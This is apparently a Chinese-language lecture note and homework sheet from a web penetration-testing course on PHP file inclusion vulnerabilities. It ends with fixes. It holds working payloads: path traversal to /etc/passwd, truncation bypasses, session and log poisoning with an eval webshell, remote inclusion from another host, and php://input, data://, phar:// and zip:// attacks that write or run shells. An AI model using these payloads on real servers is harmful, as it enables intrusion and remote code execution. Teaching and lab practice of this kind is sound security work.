⽂件包含的定义
如果⽂件包含函数没有经过严格的过滤或者定义
并且参数可以被⽤户控制
这样就有可能包含⾮预期的⽂件。
如果⽂件中存在恶意代码,⽆论⽂件是什么类型
恶意代码都会被解析。
⽂件包含漏洞可能会造成服务器的⽹⻚被篡改,⽹站被挂⻢,服务器被远程控制,被安装后⻔等危害
⽂件包含漏洞常⻅函数
PHP⽂件包含函数有以下四种:
include
inclued_once
require
require_once
require()/require_once() :如果在包含过程中有错,那么直接退出,不执⾏进⼀步操作。
include()/include_once() : 如果在包含过程中出错,只会发出警告
加上后缀_once的作⽤:如果⽂件已经包含过了,那么不会再次包含
当利⽤这四⼤漏洞函数包含⽂件的时候,不论什么类型的⽂件,都会作为PHP脚本解析
⽂件包含漏洞示例代码分析
⽂件包含漏洞示例代码如下:
<?php
$file=$_GET['file'];
include $file;
?>
上⾯的代码没有对 $_GET['file'] 参数进⾏严格的过滤,直接代⼊到了include中去,攻击者可以传递file参数的值
来达到攻击的⽬的,⽐如 ?file=../../etc/passwd 来实现窃读密码⽂件的⽬的。
⽆限制本地⽂件包含漏洞
定义以及代码实现
⽆限制本地⽂件包含漏洞是没有为包含⽂件指定特定的前缀或者拓展名,因此攻击者可以利⽤⽂件包含漏洞读取操
作系统中的其他⽂件,或者执⾏其他⽂件中的代码
常⻅的敏感信息路径
Windows下常⻅敏感⽂件
⽬录
内容
\boot.ini
系统版本信息
\xxx\php.ini
PHP配置信息
\xxx\my.ini
MYSQL配置信息
\xxx\httpd.conf
Apache配置信息
Linux下常⻅敏感⽂件
⽬录
内容
/etc/passwd
Linux系统账号信息
/etc/httpd/conf/httpd.conf
Apache配置信息
/etc/my.conf
MySQL配置信息
/usr/etc/php.ini
PHP配置信息
漏洞利⽤
⽆限制本地⽂件包含漏洞示例代码
<?php
$file=$_GET['file'];
include ($file);
?>
读取⽂件内容
通过⽬录遍历可以获取系统中/etc/passwd⽂件的内容,使⽤示例如下:
http://www.abc.com/flie.php?file=../../../../etc/passwd
利⽤⽆限制本地⽂件包含漏洞执⾏代码
可以通过⽂件包含功能执⾏任意拓展名的⽂件中的代码
⽐如:
在同⼀⽬录下,有如下名为phpinfo.txt⽂件:
<?phpinfo();?>
当⻚⾯访问index.php的时候,如果输⼊URL:
http://...../index.php?file=phpinfo.txt
就会轻⽽易举执⾏txt中的phpinfo()函数,并回显内容。
总结:这种情况的实现条件是:
PHP代码中有相关的⽂件包含函数:⽐如 include ($file)
攻击者能够对包含的变量进⾏传递参数:⽐如 $file=$_GET['file'];
有限制本地⽂件包含漏洞
有限制本地⽂件包含漏洞是指代码中为包含⽂件指定了特定的前缀或者拓展名,攻击者必须要对前缀或者拓展名过
滤,才能达到利⽤⽂件包含漏洞读取操作。
常⻅的过滤绕过⽅式有三种:
%00 截断⽂件包含
路径⻓度截断包含
点好截断⽂件包含
%00截断⽂件包含
利⽤条件
这个漏洞的使⽤必须满⾜如下条件
magic_quotes_gpc=off
PHP版本低于5.3.4
示例代码
<?php
$file=$_GET['file'];
include ($file.".html");
?>
测试结果
输⼊以下测试代码:
http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00
通过%00截断了后⾯的html拓展名过滤,成功读取了boot.ini的内容
路径⻓度截断⽂件包含
操作系统存在着最⼤路径⻓度的限制。可以输⼊超过最⼤路劲⻓度的⽬录,这样系统就会将后⾯的路劲丢弃,导致
拓展名截断。
漏洞利⽤条件
Windows下最⼤路径⻓度为256B
1.php./././././././././././html
Linux下最⼤路径⻓度为4096B
示例代码
<?php
$file=$_GET['file'];
include ($file.".html");
?>
测试结果
输⼊测试以下代码:
http://www.abc.com/xxx/file.php?
file=test.txt/././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
执⾏后发现已经成功截断了后⾯的拓展名
点号截断⽂件包含
漏洞利⽤条件
点号截断包含只使⽤与Windows系统,点号的⻓度⼤于256B的时候,就可以造成拓展名截断
示例代码
<?php
$file=$_GET['file'];
include ($file.".html");
?>
测试结果
http://www.abc.com/xxx/file.php?
file=test.txt.............................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..............................
执
发现已经成功截断了html拓展名
Session⽂件包含漏洞
当可以获取session⽂件路径并且session⽂件的内容可控的的时候,就可以通过包含session⽂件进⾏攻击
利⽤条件
session⽂件包含的利⽤条件有两个:
Session的存储位置可以获取
Session的内容可控
⼀般通过以下两种⽅式获取session的存储位置:
通过phpinfo的信息获取session的存储位置。
通过phpinfo的信息获取 session.save_path
通过猜测默认的session存储位置进⾏尝试
通常Linux中的Session的默认存储位置在 /var/lib/php/session ⽬录下
示例分析
session⽂件包含代码如下
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION['username']=$ctfs
此代码可以通过GET型的ctfs参数传⼊。PHP代码将会获取的值存⼊到Session中。
攻击者可以利⽤ctfs参数将恶意代码写⼊到session⽂件中,然后在利⽤⽂件包含漏洞包含此session⽂件,向系统
中传递恶意代码。
漏洞分析
上⾯的代码满⾜Session⽂件包含的两个要求
PHP代码将会获取ctfs变量的值存⼊到session中
Session的默认 存储位置是/var/lib/php/session
访问URL:
http://www.abc.com/xxx/session.php?ctfs=a 会在/var/lib/php/session⽬录下降ctfs传⼊的值存
储到session中
Session的⽂件名以sess_开头,后跟Sessionid,Sessionid可以通过开发者模式获取:
单击右键——检查——存储——Cookie——PHPSESSID 就可以找到内容
假设通过开发者模式获取到的sessionid的值为hufh7hsdf392eurh4,所以session的⽂件名为
sess_hufh7hsdf392eurh4
在/var/lib/php/session⽬录下查看此⽂件,内容为:username|s:4:"a"
漏洞利⽤
通过上⾯的分析,可以得知,向ctfs参数传⼊的内容会存储到session⽂件中。
如果存在本地⽂件包含漏洞,就可以通过ctfs写⼊恶意代码到Session⽂件当中去,然后通过⽂件包含漏洞执⾏
getshell
例如:访问代码
http://www.abc.com/xxx/session.php?ctfs=<?php phpinfo();?> 后,会在/
var/lib/php/session⽬录下降ctfs的值写⼊session⽂件
session⽂件的内容为: username|s:18:"<?php phpinfo();?>" .
攻击步骤
将恶意代码写⼊session⽂件
攻击者可以通过PHPinfo或者猜测到session存放的位置
通过开发者模式可以获得⽂件名称
通过本地⽂件包含漏洞可以解析session⽂件达到攻击的⽬的
⽐如:
http://www.abc.com/xxx/file.php?
file=../../var/lib/php/session/sess_7sdfysdfywy9323cew2
⽇志⽂件包含
服务器的中间件,ssh服务都有⽇志记录的功能。如果开启了⽇志记录功能,⽤户访问的⽇志就会存储到不同服务
的相关⽂件。
如果⽇志⽂件的位置是默认位置或者是可以通过其他⽅法获取,就可以通过访问⽇志将恶意代码写⼊到⽇志⽂件中
去,然后通过⽂件包含漏洞包含⽇志中的恶意代码,获得权限。
典型的⽇志⽂件包含:
中间件⽇志⽂件包含
ssh⽇志⽂件包含
中间件⽇志⽂件包含
利⽤条件:
web中间件⽇志⽂件的存储位置已知,并且具有可读权限
下⾯开始介绍⽇志⽂件包含漏洞利⽤步骤
将恶意代码写⼊到⽇志⽂件
中间件开启了访问⽇志记录功能,会访问⽇志写⼊到⽇志⽂件中。
假设访问URL:
http://192.168.1.2/xxx/index.php
发现会在⽇志⽂件中有如下内容:
[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:31:20 +0800] "GET /xxx/index.php HTTP/1.1" 200 86....
中间件⽇志访问会记录访问者的IP地址、访问时间、访问路径、返回状态码等等。
利⽤中间件访问记录路径到⽇志⽂件中的功能,将恶意代码写⼊到⽇志⽂件当中去:
添加恶意代码:
http://www.abc.com/xxx/<?php @eval($_POST[123]);?>
此时会提示404,但是不急
查看⽇志⽂件,发现已经将内容写⼊
[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:35:23 +0800] "GET /xxx/%3C?php @eval($_POST[123]);?%3E
HTTP/1.1" 404 826....
虽然已经写⼊到⽇志⽂件中去了,但是浏览器进⾏了URL编码,导致传⼊的代码不能正常使⽤
可以通过burpsuite抓包的⽅式写⼊恶意代码,这样不会被浏览器进⾏URL编码
查看⽇志⽂件,内容如下
[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:37:33 +0800] "GET /xxx/<?php @eval($_POST[123]);?>
HTTP/1.1" 404 302....
恶意代码成功写⼊
⽂件包含⽇志⽂件
要执⾏⽂件包含,必须要知道⽇志⽂件的位置。
常⻅的中间件⽇志⽂件都有默认的存储路径,⽐如Apache的中间件⽇志⽂件存在/var/log/httpd/⽬录下,⽂件名
叫access_log
输⼊测试语句
http://www.abc.com/xxx/file.php?file=../../../var/log/httpd/access_log
之后在向⽹⻚传⼊POST参数: 123=phpinfo
即可显示出phpinfo的内容
SSH⽇志⽂件包含
SSH⽇志⽂件包含的利⽤条件是:
SSH⽇志路径已知,并且具有可读权限
SSH⽇志⽂件的默认路径为 /var/log/auth.log
下⾯介绍漏洞利⽤步骤
将恶意代码写⼊⽂件
SSH如果开启了⽇志记录的功能,那么会将ssh的连接⽇志记录到ssh⽇志⽂件当中
将连接的⽤户名设置成恶意代码,⽤命令连接服务器192.168.1.1的ssh服务
ssh "<?php @eval($_POST[123]);?>"@192.168.1.1
查看⽇志⽂件/var/log/auth.log,可以观察到恶意代码已经写⼊到⽇志⽂件
使⽤⽂件包含⽇志⽂件
测试输⼊语句:
http://192.168.1.1/xxx/file.php?file=../../../var/log/auth.log
之后再向⽹⻚传⼊POST参数: 123=phpinfo
就可以出现phpinfo的内容了
远程⽂件包含
⽆限制远程⽂件包含
⽆限制远程⽂件包含是指包含⽂件的位置并不在本地服务器,⽽是通过URL的形式包含到其他服务器上的⽂件,以
及执⾏⽂件中的恶意代码
漏洞利⽤的条件是:
allow_url_fopen=on
allow_url_include=on
⽆限远程执⾏⽂件的代码如下:
<?php
$file=$_GET['file'];
include $file;
?>
设定⼀个⽂件:php.txt 的内容为 <?php phpinfo();?>
在正常情况下访问远程服务器URL,
http://192.168.2.1/php.txt
包含在php.txt中的phpinfo函数不会当做PHP代码执⾏,但是通过远程⽂件包含漏洞,包含在php.txt的phpinfo函
数会被当做PHP代码执⾏
http://www.abc.com/file.php?file=http://192.168.2.1/php.txt
有限制的远程⽂件包含
有限制的远程⽂件包含是代码中存在特定的前缀和后缀.php /.html 等拓展名过滤的时候,攻击者需要绕过前缀或
者拓展名过滤,才能远程执⾏URL代码
示例代码如下
include($_GET['filename'].".html");
通常有限制的远程⽂件包含可以通过问号、井号、空格绕过
通过问号绕过
可以在问号后⾯添加html字符串,问号后⾯的拓展名会被当做查询,从⽽绕过过滤
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt?
通过井号绕过
# 锚点 ⽹⻚⽬录(分⻚显示)
可以在#后⾯添加HTML字符串,#会截断后⾯的拓展名,从⽽绕过拓展名过滤.#的URL编码为%23
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%23
通过空格绕过
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%20
PHP 伪协议
PHP带有很多内置的URL⻛格的封装协议,可⽤于 fopen\copy\file_exists\filesize等⽂件系统函数
常⻅的PHP伪协议如下:
file:// 访问本地⽂件系统
http:// 访问http(s)⽹址
ftp:// 访问ftp(s)URL
php:// 访问各个输⼊输出流
zlib:// 处理压缩流
data:// 读取数据
glob:// 找查匹配的⽂件路径模式
phar:// PHP归档
ssh2:// Secure Shell 2
include($_GET['filename'].".html");前缀名称
后加内容
描述
resource=
要过滤的数据流
指定要过滤的数据流
read=
读链的筛选器列表
参数可选,可设定⼀个或者多个筛选器名称,以管道符(
write=写链的筛选器列表参数可选,可设定⼀个或者多个筛选器名称,以管道符)空两个链的筛选器列表
没有⽤read=或者write=做前缀的筛选器列表会是轻快应⽤于读或者
写
rar:// RAR处理压缩数据
ogg:// 处理⾳频流
expect:// 处理交互式的流
php://input
php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使⽤
enctype="multipart/form-data"的时候php://input是⽆效的。
php://input有以下三种⽤法
读取POST数据
php://input可以读取POST上没有经过解析的原始数据
利⽤php://input 读取POST数据的时候,allow_url_fopen和allow_url_include不需要开启
示例代码如下
echo file_get_contents("php://input");
上⾯代码输出file_get_contents函数获取的php://input数据。
测试时传⼊POST数据字符串test
最后会在⻚⾯回显出test
写⼊⽊⻢
利⽤php://input写⼊⽊⻢的时候,PHP配置⽂件只需要开启allow_url_include
如果POST传⼊的是PHP代码,就可以写⼊⽊⻢
示例代码如下:
<?php
$file=$_GET['file'];
include($file);
?>
如果POST传⼊的是⼀个执⾏写⼊⽊⻢的PHP代码,就会在当前⽬录下写⼊⼀个⽊⻢,通过POST⽅法传⼊的是以下
代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
利⽤php://input传⼊⽊⻢的PHP代码
http"//www.abc.com/xxx/file.php?file=php://input
测试的结果就是通过php://input传⼊了这个代码,并在当前⽬录下建⽴了shell.php⽂件
执⾏命令
示例代码如下:
<?php
$file=$_GET['file'];
include($file);
?>
利⽤php://input执⾏命令的时候,PHP配置⽂件只需要开启allow_url_include
如果POST传⼊的是PHP代码,就可以执⾏任意代码,如果此时PHP代码调⽤了系统函数,就可以执⾏该命令
⽐如传⼊POST参数
<?php system('ls');?>
file: //伪协议
file:// 可以访问本地⽂件系统,读取本地⽂件的内容
使⽤file:// 不需要开启allow_url_fopen和allow_url_include
示例代码如下:
<?php
$file=$_GET['file'];
include($file);
?>
可以输⼊以下URL
http://www.abc.com/xxx/file.php?file=file://c:/boot.ini
这个命令就可以起到访问本地⽂件的⽬的
data:// 伪协议
从PHP5.2.0起,数据封装流就开始有效,⽤于数据流的读取。
如果传⼊的都是PHP代码,就会执⾏任意代码
使⽤⽅法如下
data://text/plain;base64,xxxxx(base64编码后的数据)
利⽤data:// 时,PHP配置⽂件需要开启allow_url_fopen和allow_url_include
代码示例如下:
<?php
$file=$_GET['file'];
include($file);
?>
通过data:// 伪协议传送phpinfo代码, <?php phpinfo();?> 的base64编码为
PD9waHAgcGhwaW5mbygpOz8+,需要对加号进⾏URL编码:%2b
最终输⼊的data数据是:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
传⼊到URL就是
http://www.abc.com/xxx/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://伪协议
phar:// 是⽤来解压的伪协议
phar://不管参数中是什么拓展名,都会被当做压缩包
⽤法: ?file=phar://压缩包/压缩⽂件
⽐如: phar://xxx.png/shell.php
利⽤phar:// 时,PHP配置⽂件需要开启allow_url_fopen和allow_url_include,并且PHP版本要⾼于5.3.0
注意:压缩包需要⽤zip://伪协议压缩⽽不能⽤rar://,将⽊⻢⽂件压缩后,改成任意后缀名都可以正常使⽤
代码示例如下:
<?php
$file=$_GET['file'];
include($file);
?>
写⼀个⽊⻢⽂件shell.php,然后⽤zip://伪协议压缩成shell.zip,最后修改后缀名为.png,上传图⽚
输⼊测试:

/shell.php
这样phar://就会将png当做zip压缩包进⾏解压,并且访问解压后的shell.php⽂件
zip:// 伪协议
和phar://伪协议原理类似,但⽤法不同
⽤法: ?file=zip://[压缩⽂件绝对路径]#[压缩⽂件内的⼦⽂件名]
利⽤zip:// 时,PHP配置⽂件需要开启allow_url_fopen和allow_url_include,并且PHP版本要⾼于5.3.0
注意:需要将#转换成URL编码:%23
代码示例如下:
<?php
$file=$_GET['file'];
include($file);
?>
输⼊测试:

%23shell.php
(zip必须是绝对路径)
这样zip://就会将png当做zip压缩包进⾏解压,并且访问解压后的shell.php⽂件
expect://伪协议
expect://伪协议⽤来执⾏系统命令,但是需要安装拓展
⽤法: ?file=expect://ls
⽂件包含漏洞修复
代码配置
可以在代码层对⽂件包含进⾏过滤,设置包含的参数的⽩名单,假设⽹站只包含⽂件为index.php和admin.php
就可以定义好代码如下:
<?php
$filename=$_GET['filename'];
switch ($filename) {
case 'index':
case 'admin':
include('/var/www/html/'.filename.'.php');
break;
default:
break;
}
?>
服务器配置
修改PHP配置⽂件,将open_basedir的值设置为可以包含的特定⽬录,后⾯要加/,例如
open_basedir=/var/www/html/
修改PHP配置⽂件,关闭allow_url_include
WEB渗透测试工程师系统班250303期
第33节课作业
1. 实操课程内讲解的文件包含漏洞靶场并截图。
2. 文件包含的绕过方式有哪些?
本地文件包含绕过:%00 截断⽂件包含
,路径⻓度截断包含,点号截断⽂件包含
远程⽂件包含可以通过问号、井号、空格绕过
3. 文件包含的防御修复方式有哪些?
代码配置:可以在代码层对⽂件包含进⾏过滤,设置包含的参数的⽩名单
服务器配置:修改PHP配置⽂件,将open_basedir的值设置为可以包含的特定⽬录,后⾯要加/
修改PHP配置⽂件,关闭allow_url_include
4. 复现vulfocus内(CVE-2019-8942)、(CVE-2015-4553)靶场并截图